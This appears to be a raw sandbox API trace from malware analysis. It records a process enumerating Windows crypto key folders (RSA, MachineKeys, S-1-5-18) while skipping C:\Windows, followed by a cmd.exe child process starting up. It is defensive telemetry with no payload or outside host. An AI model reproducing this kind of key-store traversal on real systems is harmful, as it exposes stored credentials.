	[0060.421] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*", lpFindFileData=0x3a3f310 | out: lpFindFileData=0x3a3f310*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec2b48
	[0060.421] FindNextFileW (in: hFindFile=0x3ec2b48, lpFindFileData=0x3a3f310 | out: lpFindFileData=0x3a3f310*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.421] FindNextFileW (in: hFindFile=0x3ec2b48, lpFindFileData=0x3a3f310 | out: lpFindFileData=0x3a3f310*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0060.421] FindClose (in: hFindFile=0x3ec2b48 | out: hFindFile=0x3ec2b48) returned 1
	[0060.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3e90050 | out: hHeap=0x4f0000) returned 1
	[0060.421] FindNextFileW (in: hFindFile=0x3ec2948, lpFindFileData=0x3a3f58c | out: lpFindFileData=0x3a3f58c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1
	[0060.421] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\ProgramData\\Microsoft\\Crypto\\RSA") returned 1
	[0060.421] lstrcmpiW (lpString1="C:\\Windows", lpString2="RSA") returned -1
	[0060.421] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3e90050
	[0060.421] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x3a3f310 | out: lpFindFileData=0x3a3f310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec2b48
	[0060.421] FindNextFileW (in: hFindFile=0x3ec2b48, lpFindFileData=0x3a3f310 | out: lpFindFileData=0x3a3f310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.422] FindNextFileW (in: hFindFile=0x3ec2b48, lpFindFileData=0x3a3f310 | out: lpFindFileData=0x3a3f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1
	[0060.422] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys") returned 1
	[0060.422] lstrcmpiW (lpString1="C:\\Windows", lpString2="MachineKeys") returned -1
	[0060.422] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3ea0058
	[0060.422] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", lpFindFileData=0x3a3f094 | out: lpFindFileData=0x3a3f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec2908
	[0060.422] FindNextFileW (in: hFindFile=0x3ec2908, lpFindFileData=0x3a3f094 | out: lpFindFileData=0x3a3f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.422] FindNextFileW (in: hFindFile=0x3ec2908, lpFindFileData=0x3a3f094 | out: lpFindFileData=0x3a3f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0060.422] FindClose (in: hFindFile=0x3ec2908 | out: hFindFile=0x3ec2908) returned 1
	[0060.422] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3ea0058 | out: hHeap=0x4f0000) returned 1
	[0060.422] FindNextFileW (in: hFindFile=0x3ec2b48, lpFindFileData=0x3a3f310 | out: lpFindFileData=0x3a3f310*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0060.422] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned 1
	[0060.422] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-18") returned -1
	[0060.422] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3ea0058
	[0060.422] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*", lpFindFileData=0x3a3f094 | out: lpFindFileData=0x3a3f094*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec2ac8
	[0060.436] FindNextFileW (in: hFindFile=0x3ec2ac8, lpFindFileData=0x3a3f094 | out: lpFindFileData=0x3a3f094*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.444] FindNextFileW (in: hFindFile=0x3ec2ac8, lpFindFileData=0x3a3f094 | out: lpFindFileData=0x3a3f094*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xfc767af0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xfc767af0, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc767af0, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="6D14E4~1")) returned 1

Thread:
	id = 23
	os_tid = 0x99c


Thread:
	id = 26
	os_tid = 0xa3c


Process:
	id = "2"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x4e051000"
	os_pid = "0x92c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0x918"
	cmd_line = "\"C:\\Windows\\system32\\cmd.exe\""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "64"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 3
	os_tid = 0x930

	[0036.264] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x15fe50 | out: lpSystemTimeAsFileTime=0x15fe50*(dwLowDateTime=0x71b5240, dwHighDateTime=0x1d542e6)) 
	[0036.264] GetCurrentProcessId () returned 0x92c
	[0036.264] GetCurrentThreadId () returned 0x930
	[0036.264] GetTickCount () returned 0x18e98
	[0036.264] QueryPerformanceCounter (in: lpPerformanceCount=0x15fe58 | out: lpPerformanceCount=0x15fe58*=15649082848) returned 1
	[0036.266] GetModuleHandleW (lpModuleName=0x0) returned 0x4a7a0000
	[0036.266] __set_app_type (_Type=0x1) 
	[0036.266] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a7c7810) returned 0x0
	[0036.266] __getmainargs (in: _Argc=0x4a7ea608, _Argv=0x4a7ea618, _Env=0x4a7ea610, _DoWildCard=0, _StartInfo=0x4a7ce0f4 | out: _Argc=0x4a7ea608, _Argv=0x4a7ea618, _Env=0x4a7ea610) returned 0
	[0036.266] GetCurrentThreadId () returned 0x930
	[0036.266] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x930) returned 0x3c
	[0036.267] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e30000
	[0036.267] GetProcAddress (hModule=0x76e30000, lpProcName="SetThreadUILanguage") returned 0x76e46d40
	[0036.267] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0036.267] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0036.267] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x15fde8 | out: phkResult=0x15fde8*=0x0) returned 0x2
	[0036.267] VirtualQuery (in: lpAddress=0x15fdd0, lpBuffer=0x15fd50, dwLength=0x30 | out: lpBuffer=0x15fd50*(BaseAddress=0x15f000, AllocationBase=0x60000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0036.267] VirtualQuery (in: lpAddress=0x60000, lpBuffer=0x15fd50, dwLength=0x30 | out: lpBuffer=0x15fd50*(BaseAddress=0x60000, AllocationBase=0x60000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0036.267] VirtualQuery (in: lpAddress=0x61000, lpBuffer=0x15fd50, dwLength=0x30 | out: lpBuffer=0x15fd50*(BaseAddress=0x61000, AllocationBase=0x60000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0036.267] VirtualQuery (in: lpAddress=0x64000, lpBuffer=0x15fd50, dwLength=0x30 | out: lpBuffer=0x15fd50*(BaseAddress=0x64000, AllocationBase=0x60000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0036.267] VirtualQuery (in: lpAddress=0x160000, lpBuffer=0x15fd50, dwLength=0x30 | out: lpBuffer=0x15fd50*(BaseAddress=0x160000, AllocationBase=0x160000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x40000, __alignment2=0x0)) returned 0x30
	[0036.268] GetConsoleOutputCP () returned 0x1b5
	[0036.268] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a7dbfe0 | out: lpCPInfo=0x4a7dbfe0) returned 1
	[0036.268] SetConsoleCtrlHandler (HandlerRoutine=0x4a7c3184, Add=1) returned 1
	[0036.268] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0036.268] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0
	[0036.268] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0036.268] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a7ce194 | out: lpMode=0x4a7ce194) returned 0
	[0036.269] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.269] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a7ce198 | out: lpMode=0x4a7ce198) returned 0
	[0036.269] GetEnvironmentStringsW () returned 0x188a60*
	[0036.269] GetProcessHeap () returned 0x170000
	[0036.269] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xa7c) returned 0x1894f0
	[0036.269] FreeEnvironmentStringsW (penv=0x188a60) returned 1
	[0036.269] GetProcessHeap () returned 0x170000
	[0036.269] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x8) returned 0x1888e0
	[0036.269] GetEnvironmentStringsW () returned 0x188a60*
	[0036.269] GetProcessHeap () returned 0x170000
	[0036.269] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xa7c) returned 0x189f80
	[0036.269] FreeEnvironmentStringsW (penv=0x188a60) returned 1
	[0036.270] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x15eca8 | out: phkResult=0x15eca8*=0x44) returned 0x0
	[0036.270] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x15eca0, lpData=0x15ecc0, lpcbData=0x15eca4*=0x1000 | out: lpType=0x15eca0*=0x0, lpData=0x15ecc0*=0x18, lpcbData=0x15eca4*=0x1000) returned 0x2
	[0036.270] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x15eca0, lpData=0x15ecc0, lpcbData=0x15eca4*=0x1000 | out: lpType=0x15eca0*=0x4, lpData=0x15ecc0*=0x1, lpcbData=0x15eca4*=0x4) returned 0x0
	[0036.270] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x15eca0, lpData=0x15ecc0, lpcbData=0x15eca4*=0x1000 | out: lpType=0x15eca0*=0x0, lpData=0x15ecc0*=0x1, lpcbData=0x15eca4*=0x1000) returned 0x2
	[0036.270] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x15eca0, lpData=0x15ecc0, lpcbData=0x15eca4*=0x1000 | out: lpType=0x15eca0*=0x4, lpData=0x15ecc0*=0x0, lpcbData=0x15eca4*=0x4) returned 0x0
	[0036.270] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x15eca0, lpData=0x15ecc0, lpcbData=0x15eca4*=0x1000 | out: lpType=0x15eca0*=0x4, lpData=0x15ecc0*=0x40, lpcbData=0x15eca4*=0x4) returned 0x0
	[0036.270] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x15eca0, lpData=0x15ecc0, lpcbData=0x15eca4*=0x1000 | out: lpType=0x15eca0*=0x4, lpData=0x15ecc0*=0x40, lpcbData=0x15eca4*=0x4) returned 0x0
	[0036.270] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x15eca0, lpData=0x15ecc0, lpcbData=0x15eca4*=0x1000 | out: lpType=0x15eca0*=0x0, lpData=0x15ecc0*=0x40, lpcbData=0x15eca4*=0x1000) returned 0x2
	[0036.270] RegCloseKey (hKey=0x44) returned 0x0
	[0036.270] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x15eca8 | out: phkResult=0x15eca8*=0x44) returned 0x0
	[0036.270] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x15eca0, lpData=0x15ecc0, lpcbData=0x15eca4*=0x1000 | out: lpType=0x15eca0*=0x0, lpData=0x15ecc0*=0x40, lpcbData=0x15eca4*=0x1000) returned 0x2
	[0036.270] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x15eca0, lpData=0x15ecc0, lpcbData=0x15eca4*=0x1000 | out: lpType=0x15eca0*=0x4, lpData=0x15ecc0*=0x1, lpcbData=0x15eca4*=0x4) returned 0x0
	[0036.270] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x15eca0, lpData=0x15ecc0, lpcbData=0x15eca4*=0x1000 | out: lpType=0x15eca0*=0x0, lpData=0x15ecc0*=0x1, lpcbData=0x15eca4*=0x1000) returned 0x2
	[0036.270] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x15eca0, lpData=0x15ecc0, lpcbData=0x15eca4*=0x1000 | out: lpType=0x15eca0*=0x4, lpData=0x15ecc0*=0x0, lpcbData=0x15eca4*=0x4) returned 0x0
	[0036.270] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x15eca0, lpData=0x15ecc0, lpcbData=0x15eca4*=0x1000 | out: lpType=0x15eca0*=0x4, lpData=0x15ecc0*=0x9, lpcbData=0x15eca4*=0x4) returned 0x0
	[0036.270] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x15eca0, lpData=0x15ecc0, lpcbData=0x15eca4*=0x1000 | out: lpType=0x15eca0*=0x4, lpData=0x15ecc0*=0x9, lpcbData=0x15eca4*=0x4) returned 0x0
	[0036.270] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x15eca0, lpData=0x15ecc0, lpcbData=0x15eca4*=0x1000 | out: lpType=0x15eca0*=0x0, lpData=0x15ecc0*=0x9, lpcbData=0x15eca4*=0x1000) returned 0x2
	[0036.270] RegCloseKey (hKey=0x44) returned 0x0
	[0036.270] time (in: timer=0x0 | out: timer=0x0) returned 0x5d39a30c
	[0036.271] srand (_Seed=0x5d39a30c) 
	[0036.271] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\""
	[0036.271] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\""
	[0036.271] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a7dc0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0036.271] GetProcessHeap () returned 0x170000
	[0036.271] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x218) returned 0x18aa10
	[0036.271] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18aa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0036.271] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a7cf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0036.271] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a7cf360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0036.271] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a7cf360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0036.271] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0036.271] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0036.271] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0036.271] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0036.271] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0036.271] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0036.271] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0036.271] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0036.271] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0036.271] GetProcessHeap () returned 0x170000
	[0036.271] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1894f0 | out: hHeap=0x170000) returned 1
	[0036.271] GetEnvironmentStringsW () returned 0x188a60*
	[0036.272] GetProcessHeap () returned 0x170000
	[0036.272] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xa94) returned 0x18ac30
	[0036.272] FreeEnvironmentStringsW (penv=0x188a60) returned 1
	[0036.272] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a7cf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0036.272] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a7cf360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0036.272] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0036.272] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0036.272] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0036.272] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0036.272] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0036.272] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0036.272] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0036.272] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0036.272] GetProcessHeap () returned 0x170000
	[0036.272] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x5c) returned 0x18b6d0
	[0036.272] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x15fab0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0036.272] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x15fab0, lpFilePart=0x15fa90 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x15fa90*="Desktop") returned 0x25
	[0036.272] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0036.272] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x15f7c0 | out: lpFindFileData=0x15f7c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Users", cAlternateFileName="")) returned 0x18b740
	[0036.273] FindClose (in: hFindFile=0x18b740 | out: hFindFile=0x18b740) returned 1
	[0036.273] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x15f7c0 | out: lpFindFileData=0x15f7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x18b740
	[0036.273] FindClose (in: hFindFile=0x18b740 | out: hFindFile=0x18b740) returned 1
	[0036.273] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0036.273] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x15f7c0 | out: lpFindFileData=0x15f7c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x93b0c0, ftLastAccessTime.dwHighDateTime=0x1d542e6, ftLastWriteTime.dwLowDateTime=0x93b0c0, ftLastWriteTime.dwHighDateTime=0x1d542e6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Desktop", cAlternateFileName="")) returned 0x18b740
	[0036.273] FindClose (in: hFindFile=0x18b740 | out: hFindFile=0x18b740) returned 1
	[0036.273] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0036.273] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0036.273] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0036.273] GetProcessHeap () returned 0x170000
	[0036.273] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ac30 | out: hHeap=0x170000) returned 1
	[0036.273] GetEnvironmentStringsW () returned 0x18b740*
	[0036.273] GetProcessHeap () returned 0x170000
